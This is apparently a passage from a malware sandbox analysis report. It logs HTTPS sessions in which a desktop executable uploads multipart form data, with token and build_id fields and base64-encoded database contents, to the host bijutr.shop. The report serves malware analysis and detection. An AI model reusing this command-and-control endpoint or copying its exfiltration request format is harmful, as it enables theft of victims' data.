2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:29 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:31 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49782	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:31 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Q9R1NG4OZU37YM7GV37Y User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:31 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 51 39 52 31 4e 47 34 4f 5a 55 33 37 59 4d 37 47 56 33 37 59 0d 0a 43 6f 6e 74 Data Ascii: ------Q9R1NG4OZU37YM7GV37YContent-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------Q9R1NG4OZU37YM7GV37YContent-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------Q9R1NG4OZU37YM7GV37YCont
2024-12-27 07:20:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:32 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49809	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:38 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----L6XBA1NYM7G47Q9000R1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 509 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:38 UTC	509	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 36 58 42 41 31 4e 59 4d 37 47 34 37 51 39 30 30 30 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4c 36 58 42 41 31 4e 59 4d 37 47 34 37 51 39 30 30 30 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4c 36 58 42 41 31 4e 59 4d 37 47 34 37 51 39 30 30 30 52 31 0d 0a 43 6f 6e 74 Data Ascii: ------L6XBA1NYM7G47Q9000R1Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------L6XBA1NYM7G47Q9000R1Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------L6XBA1NYM7G47Q9000R1Cont
2024-12-27 07:20:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:39 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49820	172.64.41.3	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 07:20:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 07:20:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 07:20:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f878ca18976426d-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 07:20:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49821	172.64.41.3	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-27 07:20:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-27 07:20:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 27 Dec 2024 07:20:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f878ca22b25c42c-EWR alt-svc: h3=":443"; ma=86400
2024-12-27 07:20:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ca 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49819	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:39 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BA168GLN7QIEUAAIWBI5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 31 36 38 47 4c 4e 37 51 49 45 55 41 41 49 57 42 49 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 31 36 38 47 4c 4e 37 51 49 45 55 41 41 49 57 42 49 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 31 36 38 47 4c 4e 37 51 49 45 55 41 41 49 57 42 49 35 0d 0a 43 6f 6e 74 Data Ascii: ------BA168GLN7QIEUAAIWBI5Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------BA168GLN7QIEUAAIWBI5Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------BA168GLN7QIEUAAIWBI5Cont
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 